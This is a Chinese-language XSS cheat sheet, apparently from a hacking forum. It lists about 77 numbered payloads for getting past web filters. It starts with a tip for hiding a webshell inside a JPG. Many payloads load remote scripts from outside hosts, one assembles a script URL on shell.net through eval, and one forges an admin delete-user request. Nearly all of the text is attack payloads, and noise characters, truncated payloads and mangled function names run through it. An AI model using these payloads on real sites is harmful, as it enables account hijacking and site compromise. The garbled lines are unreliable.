跨站图片shell% Q. L: d( i$ k9 u
XSS跨站代码 <script>alert("")</script>- P3 f) L% U H* }- Y2 |. f! [
# ^9 H0 v6 i( @. T. i将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马7 l( I2 u, G. g0 Y% {9 I) ?
# r" N( A* Q- K$ [9 s$ ~" j
! Z/ ~9 l7 `. q! I: A; E1 y
: ]. f7 S5 ^ d5 c
1)普通的XSS JavaScript注入
i1 S& B8 {9 H8 b4 W<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>; d T' F0 i/ }9 L& F4 J. h
/ V$ d) \! C5 e8 e(2)IMG标签XSS使用JavaScript命令% s& ?% v" C& I
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
& q N" i, d* H/ i' S0 Z& a
6 O; t W2 g& M/ q, y" ]9 f( k4 j(3)IMG标签无分号无引号* j0 A% v# _* J$ c# b( I! v
<IMG SRC=javascript:alert(‘XSS’)>
' k& M% D5 R J% G* b' K( x: r, f2 L/ {7 K* u% h/ r! Y% t
(4)IMG标签大小写不敏感
- l# Q+ Z u' ^" Q5 B/ Q8 U<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
* k& l4 d4 v% z4 h2 y; ~9 F5 Q& B; p: T" I. x
(5)HTML编码(必须有分号)8 y0 s- ?/ T8 J& M# ]9 z9 R7 I5 ?
<IMG SRC=javascript:alert(“XSS”)>9 M) L1 z7 B! _' `
' L& w- X+ g$ G(6)修正缺陷IMG标签
- l+ b9 f5 x8 C<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
. c9 O9 d0 d5 i% j( Q4 M! f# I" H. P4 t% b
(7)formCharCode标签(计算器)% n" E! f7 {4 v! _# x$ C* U6 D4 p
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>& r& k" F- e; b4 L2 Q
, L2 ?; X, O2 P) g
(8)UTF-8的Unicode编码(计算器)4 V H/ @: x: G2 j1 D/ Z' Y% n" P1 g
<IMG SRC=jav..省略..S')>
0 ]2 p$ i" ~; _6 C
* F% }- s! F# `& f5 B(9)7位的UTF-8的Unicode编码是没有分号的(计算器)8 Y" r' U4 {+ n: d$ b# q
<IMG SRC=jav..省略..S')>
2 W0 F. r2 U8 @1 ]1 S$ ^
7 V8 K. B6 y3 v. b. p(10)十六进制编码也是没有分号(计算器)
+ m5 J+ T. q4 X- \0 k% N. N2 |, M<IMG SRC=java..省略..XSS')>
% b8 M& L/ q8 k, R1 L/ z( b5 b9 h% V7 T5 [; U. T" |$ d/ r* r
(11)嵌入式标签,将Javascript分开: k" z+ n; Q, Y- l1 h7 ]- W1 J9 C4 J
<IMG SRC=”jav ascript:alert(‘XSS’);”>4 e3 M' [7 }8 {3 Q5 g: |
9 X6 @- T& f; J& c& y3 ?
(12)嵌入式编码标签,将Javascript分开
' }& b# B3 G) I* Q<IMG SRC=”jav ascript:alert(‘XSS’);”>
" v7 E3 _% D/ w
3 h' w; `# t6 [0 d( @3 Z: q- n' ~" k(13)嵌入式换行符
$ s8 A1 V( N7 r9 b) S6 B# G. j<IMG SRC=”jav ascript:alert(‘XSS’);”>+ f, b# m/ ?1 t- k9 a8 Q8 }
7 d# \* m9 x( N# @(14)嵌入式回车
, x5 c% h" [, F+ P<IMG SRC=”jav ascript:alert(‘XSS’);”>' w" B& c6 S1 ?8 \0 ? n
6 }( K( i& j6 H6 y+ V" c
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
5 O6 _: e- G: t+ @ T$ f<IMG SRC=”javascript:alert(‘XSS‘)”>
: [4 Y: N7 j2 `& m% W" i: U5 l j, V" j4 Z* d8 @
(16)解决限制字符(要求同页面)
- D; c R5 \( y1 N' m/ e4 K<script>z=’document.’</script>
) W& p) }# L N7 o& h& G K) d<script>z=z+’write(“‘</script>
- I& `: ^, x, s4 o- A* d! T<script>z=z+’<script’</script>
! B, |$ @7 ^! Z1 @1 p3 b/ C- f<script>z=z+’ src=ht’</script>$ A& h' d& _3 X, o7 y1 S
<script>z=z+’tp://ww’</script>
. t- r3 ]$ }4 v2 |1 J<script>z=z+’w.shell’</script>: }# x* ~# k: `* Q: j0 j
<script>z=z+’.net/1.’</script>; ]3 M' y" F" `' }8 i
<script>z=z+’js></sc’</script>- x* S6 G. m5 c" F5 K
<script>z=z+’ript>”)’</script>
8 `; N0 s9 J$ Y' n<script>eval_r(z)</script>
( N4 z6 f% A1 A l
4 s( i$ g8 n7 W(17)空字符# F* w- e" T, V9 A
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out* \, l( T, V6 z( Z3 j
! i8 U" q. }# G$ r6 q8 r+ U8 @
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用; V( c$ Y- X2 \2 n
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
4 V, H ~) I1 y, s) V$ w
3 s! ]5 a" N/ ~2 M! G& |2 s" O(19)Spaces和meta前的IMG标签
, s: W! Z; K( d/ t# `- O8 d<IMG SRC=” javascript:alert(‘XSS’);”>
: l% A1 K% ^% ^5 k z' q; B
) L9 V5 c$ u9 j' Z) o& v(20)Non-alpha-non-digit XSS& j- ~+ v2 j& p# k: u2 d2 j) r" r
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
. Z* C$ c) u/ H+ p
a# s. L7 A4 D# L0 S(21)Non-alpha-non-digit XSS to 23 Z: I4 i$ d8 K! w% ^! \+ j
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> y. x) m" |: x r: U
. {6 |) @ I( W# a; p; _$ h
(22)Non-alpha-non-digit XSS to 3
! c# {( V$ U' e7 R& V* R8 K<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
( \4 C8 e" Y0 C9 F' f
$ Q5 {& y- L! ^+ q @( p(23)双开括号
1 I8 r5 p d6 `$ M* w<<SCRIPT>alert(“XSS”);//<</SCRIPT>
: J# E. x% X) b+ p" L! k% a" o; q" }6 a8 Y
(24)无结束脚本标记(仅火狐等浏览器)
$ |5 d; _8 }7 K+ G `<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
( Z6 Y0 ]& Z7 V: p
( T3 g0 z0 X) S$ K/ M" s1 f(25)无结束脚本标记21 j3 O& r+ M$ A) n; O* X
<SCRIPT SRC=//3w.org/XSS/xss.js>
( q# l9 p2 p& A/ ^/ L3 w( l0 i/ T- E9 d. Y
(26)半开的HTML/JavaScript XSS
2 v- R% G* F3 P G<IMG SRC=”javascript:alert(‘XSS’)”
0 X( E* r5 _' J, U
+ ~6 m; D+ J4 y1 y" `& ?3 c }(27)双开角括号
5 x9 e, [8 S2 L<iframe src=http://3w.org/XSS.html <
K& U! N& A: ^: I+ G
7 o* D1 p! w& j C" |" q(28)无单引号 双引号 分号5 ]: z- b- P# v6 H
<SCRIPT>a=/XSS/' ~! {$ ?9 g7 u8 Z0 t# z- a
alert(a.source)</SCRIPT>3 y/ d R+ P7 [% K) y, v
+ [& p% H- q/ n7 w1 g(29)换码过滤的JavaScript
) _$ z6 E& r/ K2 M\”;alert(‘XSS’);//" Z$ V; K0 a9 H8 g# l: H+ W u
6 w2 l4 {; T* M& ]
(30)结束Title标签
8 U8 I5 T6 |# E4 U</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
0 K" A4 l7 j; z8 J( `3 D' c
& z- Y- E6 U1 }0 ^$ M v# [(31)Input Image9 N5 h: `0 X$ f, g4 y9 J, H1 b
<INPUT SRC=”javascript:alert(‘XSS’);”>
) N0 E% X+ M; v2 E
, R5 Q6 `0 V8 @(32)BODY Image; Z. v3 t/ Q# D% I* V! z$ o" m- J
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
( r+ e5 U% |7 j) K7 W8 w+ {! c+ C/ h$ |, `8 Z
(33)BODY标签
+ u9 z! b) v. ~5 Q% B3 w% ?" e$ b<BODY(‘XSS’)>& ^3 E1 o1 i6 d7 h
. l4 p% z6 z! B& }( S% ](34)IMG Dynsrc
' N- @2 B9 f- B7 n: s<IMG DYNSRC=”javascript:alert(‘XSS’)”>
1 Z' D6 T- C& Q4 ]
0 N& k5 [) b m6 x/ T2 j0 W(35)IMG Lowsrc: H! T Z' r! G# ? c( _# y
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
h0 i0 t8 ? j2 ?1 q$ y- D
2 v& p- L1 z6 Z* y; n(36)BGSOUND4 t5 e. G% z. s* @
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
$ I; t! {4 r0 r5 N6 y: D% I- }9 n& W% w6 J' z, j' H/ \
(37)STYLE sheet
! l2 n9 i. y* C<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”> e% K8 v0 `/ x8 a
* [0 p4 `$ D2 d1 L& ^
(38)远程样式表
) p) ?1 j: f0 D0 U<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
P( m8 h* w+ g0 c) M. }" b* L Q; i
(39)List-style-image(列表式)% V) W8 b; }# ^2 ^7 A
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
% U' l, Y O5 | i y
' }6 _( I! b9 s! w/ [& W(40)IMG VBscript2 F7 x! \$ i& K- L( L0 k
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
% q5 g- U0 j9 t7 b$ V i' z% ^ Q3 `
(41)META链接url
0 i- ^% s' h4 p* U* \0 ?. ^2 P+ M<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”> T5 e+ r6 c2 Y2 e$ y5 B
/ I4 X" D- I$ _7 {3 y$ z/ x
(42)Iframe' R j4 K# ]' g8 s' h" r3 ~
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
) ?+ S- X; y8 p(43)Frame
) S0 f# I# m9 t2 l<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
* W% v: t: [7 N t- Y; m
( Z I- _% l7 I( w+ a) z. R(44)Table
# C( \5 K+ Q+ y; P9 U8 _" Q( b<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>* Y9 g! _6 m/ F) M! c0 m! S
. F9 ?# G$ H1 K% y# }* O
(45)TD! ?: y" o& ?( i( V/ s) P7 Y; R. \
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>2 M: c+ f' \& ]4 T2 L2 x
+ g7 ]- }* j4 f
(46)DIV background-image
+ g9 a+ Z# `" c6 m<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
: H2 K3 f3 b( ?5 W4 s/ U: S; A; J, [) F6 |& X/ P$ \- U/ p# ~+ a
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
4 d& m: [0 c _" f H+ I<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
% T) b$ \. C0 D- g- y a& }" S9 K
(48)DIV expression u! [. W5 g& Z/ x. [' n+ z
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
! \5 n& q4 q/ t4 h8 z6 Z
/ o" k$ J# h% ?3 K4 o/ Y! E(49)STYLE属性分拆表达* ~5 m& X7 m& M
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
" W* [5 n( o5 }6 h6 K( x" k) D2 f: g2 l# S& G
(50)匿名STYLE(组成:开角号和一个字母开头)
4 N3 n/ a( n' P5 c9 L1 g: B5 L% L<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>& J0 Y3 i) M9 t& d" {
' l1 O5 B: u9 M4 e( Z, z
(51)STYLE background-image( j- A+ M( f" b
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>3 c; |5 g2 R w! Z9 a
" a+ |4 |0 `# q(52)IMG STYLE方式7 ]/ S% n& z* O
exppression(alert(“XSS”))’>' @+ _1 z" h/ w+ _5 Q
% h/ s: C- O2 l. P( M
(53)STYLE background
' O& [' z9 l0 B" E- L7 j t<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
4 e) T8 p2 H# [7 R8 L
0 `: a. H A; {; i. [ v- @" s) E(54)BASE7 O1 w8 s# V# C k( n, u$ g
<BASE HREF=”javascript:alert(‘XSS’);//”>
' l V7 k) ~; N7 W
' r O- @( b3 l3 e6 ](55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
; K0 q4 {" x8 j, r1 u, a<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
/ i3 T! j( K: i3 b, a1 R
/ e) h7 Y) h4 Z& Z& {1 m(56)在flash中使用ActionScrpt可以混进你XSS的代码
; b4 t3 `6 x! |2 i- ua=”get”;* @. v) P0 y" X* S/ r# [
b=”URL(\”";; [1 L" v# j7 R: Q! V
c=”javascript:”;
. d) r1 m% U t5 x2 L5 Zd=”alert(‘XSS’);\”)”;
, W6 C. Y( ^6 g# m' [' n6 beval_r(a+b+c+d);2 }) _ Q, ~3 W
. m2 z+ \& a, `1 h, B* c5 k/ o
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
) W O8 }0 S8 g" d7 A<HTML xmlns:xss>
) x# U: ~# `, U; s$ Z0 @+ C+ D<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>4 f- j# u8 s d+ R+ [/ ]
<xss:xss>XSS</xss:xss>0 S8 \+ j4 r6 |" g; C% E
</HTML>
* J$ ?4 ^: O+ d. }
; B$ ]- ]5 f# Z! B- K(58)如果过滤了你的JS你可以在图片里添加JS代码来利用8 s) B3 K( m) E4 L
<SCRIPT SRC=””></SCRIPT>( `. k2 Z9 g' J. ^+ o6 {
) k, j6 C& d# a" N. F(59)IMG嵌入式命令,可执行任意命令9 t& j/ T @) M( ~( A
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
, y6 r( f2 y& L' J! z
, R" G. [, X) p; w6 M/ k( R4 X* t! h(60)IMG嵌入式命令(a.jpg在同服务器)
1 _* m8 J" l0 i# jRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
1 e9 @* \6 {: j1 L0 k4 _1 V' @6 V& l; C* N
(61)绕符号过滤( z: [6 e8 @) |7 M) h, E; e ?+ i
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
* M/ t! l! o( C6 f9 M+ @% m. I0 K* H! E3 H
(62) z9 S* [, E( L' F% ]0 S
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>3 K& Y6 Z* ?9 M) ?8 r% D# n) P
6 R- K7 y D- g9 ^9 Y(63)
4 N) U$ ^4 O' W6 W4 q7 h: ^<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>; C f- a9 l3 R- }# H
/ ~9 v2 D7 b) D% D! p6 ^$ R/ D. x' s
(64)
% k& N( X3 r) U: e4 t( J<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
" m0 f* U c% a, K
`3 i3 J/ ^- [" n& ^, Z(65)
7 l- O0 t* n# y<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>3 z; m3 F; \2 I+ T. Z" H, g
. U3 B4 a3 o( K' E; h u(66), M) j+ [5 V5 w8 J- }" G" _
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>8 e4 O9 n6 I6 R3 n5 u) ?; F) S
( v) V$ S+ Z- W) Z
(67)+ g* H G' _' c( e9 [ ?- r5 y
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>7 l6 B0 v. b+ y' |! O9 W- ?
$ @6 i* j* }2 |/ B
(68)URL绕行' ~: W! v% U! s7 _; C
<A HREF=”http://127.0.0.1/”>XSS</A>
: H5 W, y3 Y# h$ g7 V& ?# {4 ~0 j9 p; _( Y9 N |
(69)URL编码" j. L6 [. q* f3 q1 `
<A HREF=”http://3w.org”>XSS</A>
1 ]+ Q) j7 Q! m/ Z
/ d2 g) L" y: J* A; a; P, D5 I(70)IP十进制
9 ?( o% G- f; P: n/ K<A HREF=”http://3232235521″>XSS</A># t5 K2 k& n( \
: n. f c% ~0 x7 p2 }8 }(71)IP十六进制# @1 v W$ A5 D6 S& B; m
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
2 V9 I% H9 o6 t- W8 R0 R3 N
+ v7 Q. E, o p* ^7 b(72)IP八进制 x9 q8 y& N! C* v7 G7 t
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
: G1 \% _$ F" b, E1 x- R. E5 |* W v! P- M
(73)混合编码
+ }+ C0 x* X' S9 t4 _1 W) T; C% C/ T- D<A HREF=”h* k" {+ h1 l n& ?9 A ^7 X
tt p://6 6.000146.0×7.147/”">XSS</A>0 U: w, e8 L$ [! X# I. M* h& V# G' o
( z7 ~. [# `' E0 t6 |(74)节省[http:]; n, z0 b5 h! w8 G1 V0 ~2 O g
<A HREF=”//www.google.com/”>XSS</A>( B: O' ?2 T8 W1 _) Y2 p, n) i
6 X6 V$ r% z6 g* }0 N4 |# N
(75)节省[www] o- n+ a- [4 F" [
<A HREF=”http://google.com/”>XSS</A>
. Y+ ]6 J5 L ]/ h# n$ k/ ~4 U" O; M% S
(76)绝对点绝对DNS
" ^1 h% v1 ~+ Z/ Y3 U% {. ~<A HREF=”http://www.google.com./”>XSS</A>
- l9 e' p [: Q7 ~- G. r* r: h' {0 ?
* F( |: ^+ K! C/ g(77)javascript链接/ _. \+ V0 I. s. X
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>& P% ]& v2 j3 N% j
|